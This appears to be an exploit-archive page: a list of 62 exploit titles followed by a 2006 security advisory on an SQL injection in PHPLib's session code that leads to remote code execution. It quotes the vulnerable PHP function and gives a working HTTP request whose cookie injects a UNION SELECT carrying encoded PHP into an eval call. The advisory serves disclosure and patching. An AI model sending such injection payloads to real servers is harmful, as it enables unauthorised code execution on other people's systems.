bfebc3fa5a
62 changes to exploits/shellcodes macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability' Peercast < 0.1211 - Format String Trillian Pro < 2.01 - Design Error dbPowerAmp < 2.0/10.0 - Buffer Overflow PsychoStats < 2.2.4 Beta - Cross Site Scripting MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution GitStack 2.3.10 - Unauthenticated Remote Code Execution Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC) Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC) Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities DUWare Multiple Products - Multiple Vulnerabilities AutoRank PHP < 2.0.4 - SQL Injection (PoC) ASPapp Multiple Products - Multiple Vulnerabilities osCommerce < 2.2-MS2 - Multiple Vulnerabilities PostNuke < 0.726 Phoenix - Multiple Vulnerabilities MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities phpGedView < 2.65 beta 5 - Multiple Vulnerabilities phpShop < 0.6.1-b - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3 - SQL Injection phpBB < 2.0.6d - Cross Site Scripting Phorum < 5.0.3 Beta - Cross Site Scripting vBulletin < 3.0.0 RC4 - Cross Site Scripting Mambo < 4.5 - Multiple Vulnerabilities phpBB < 2.0.7a - Multiple Vulnerabilities Invision Power Top Site List < 1.1 RC 2 - SQL Injection Invision Gallery < 1.0.1 - SQL Injection PhotoPost < 4.6 - Multiple Vulnerabilities TikiWiki < 1.8.1 - Multiple Vulnerabilities phpBugTracker < 0.9.1 - Multiple Vulnerabilities OpenBB < 1.0.6 - Multiple Vulnerabilities PHPX < 3.26 - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3.1 - Design Error HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities LiveWorld Multiple Products - Cross Site Scripting WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities PHP-Calendar < 0.10.1 - Arbitrary File Inclusion PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities ReviewPost < 2.84 - Multiple Vulnerabilities PhotoPost < 4.85 - Multiple Vulnerabilities AZBB < 1.0.07d - Multiple Vulnerabilities Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities Burning Board < 2.3.1 - SQL Injection XOOPS < 2.0.11 - Multiple Vulnerabilities PEAR XML_RPC < 1.3.0 - Remote Code Execution PHPXMLRPC < 1.1 - Remote Code Execution SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite XPCOM - Race Condition ADOdb < 4.71 - Cross Site Scripting Geeklog < 1.4.0 - Multiple Vulnerabilities PEAR LiveUser < 0.16.8 - Arbitrary File Access Mambo < 4.5.3h - Multiple Vulnerabilities phpRPC < 0.7 - Remote Code Execution Gallery 2 < 2.0.2 - Multiple Vulnerabilities PHPLib < 7.4 - SQL Injection SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite CubeCart < 3.0.12 - Multiple Vulnerabilities Claroline < 1.7.7 - Arbitrary File Inclusion X-Cart < 4.1.3 - Arbitrary Variable Overwrite Mambo < 4.5.4 - SQL Injection Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities D-Link DNS-343 ShareCenter < 1.05 - Command Injection D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
77 lines
No EOL
3.3 KiB
Text
77 lines
No EOL
3.3 KiB
Text
PHPLib SQL Injection
|
|
|
|
Vendor: PHPLib
|
|
Product: PHPLib
|
|
Version: <= 7.4
|
|
Website: http://phplib.sourceforge.net/
|
|
|
|
BID: 16801
|
|
CVE: CVE-2006-0887 CVE-2006-2826
|
|
OSVDB: 23466
|
|
SECUNIA: 16902
|
|
|
|
Description:
|
|
The PHP Base Library aka PHPLib is a toolkit for PHP developers supporting them in the development of Web applications. The phpLib codebase can be found in a number of applications available today. Unfortunately some of the session emulation code is vulnerable to SQL Injection issues that in a worst case scenario can lead to remote code execution by using UNION and selecting arbitrary php code into an eval call. A new version og PHPLib has been released and users should upgrade their PHPLib libraries as soon as possible.
|
|
|
|
|
|
Remote Code Execution:
|
|
There are some serious security issues in phplib's session handling that may allow an attacker to perform a range of attacks such as SQL Injection, and/or Remote Code Execution.
|
|
## Propagate the session id according to mode and lifetime.
|
|
## Will create a new id if necessary. To take over abandoned sessions,
|
|
## one may provide the new session id as a parameter (not recommended).
|
|
|
|
function get_id($id = "") {
|
|
global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
|
|
$this->newid=true;
|
|
|
|
$this->name = $this->cookiename==""?$this->classname:$this->cookiename;
|
|
|
|
if ( "" == $id ) {
|
|
$this->newid=false;
|
|
switch ($this->mode) {
|
|
case "get":
|
|
$id = isset($HTTP_GET_VARS[$this->name]) ?
|
|
$HTTP_GET_VARS[$this->name] :
|
|
( isset($HTTP_POST_VARS[$this->name]) ?
|
|
$HTTP_POST_VARS[$this->name] :
|
|
"") ;
|
|
break;
|
|
case "cookie":
|
|
$id = isset($HTTP_COOKIE_VARS[$this->name]) ?
|
|
$HTTP_COOKIE_VARS[$this->name] : "";
|
|
break;
|
|
default:
|
|
die("This has not been coded yet.");
|
|
break;
|
|
}
|
|
}
|
|
|
|
### do not accept user provided ids for creation
|
|
if($id != "" && $this->block_alien_sid) { # somehow an id was provided by the user
|
|
if($this->that->ac_get_value($id, $this->name) == "") {
|
|
# no - the id doesn't exist in the database: Ignore it!
|
|
$id = "";
|
|
}
|
|
}
|
|
|
|
The above code is from sessions.inc @ lines 85-121. The variable $id gets it's values from either GET or COOKIE and is never made safe before being passed to the function ac_get_value() which uses the variable in a query, thus allowing for SQL Injection. However, it is possible to manipulate the query in a way that php code is returned and passed to a vulnerable eval call.
|
|
GET /phplib/pages/index.php3 HTTP/1.1
|
|
Host: example.net
|
|
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
|
Accept-Language: en-us,en;q=0.5
|
|
Accept-Encoding: gzip,deflate
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
|
Keep-Alive: 300
|
|
Connection: keep-alive
|
|
Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/*
|
|
If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT
|
|
For example, the above request made to the index.php3 script that is shipped with phplib will successfully execute the phpinfo call.
|
|
|
|
|
|
Solution:
|
|
PHPLib 7.4a has been released to address these issues.
|
|
|
|
|
|
Credits:
|
|
James Bercegay of the GulfTech Security Research Team |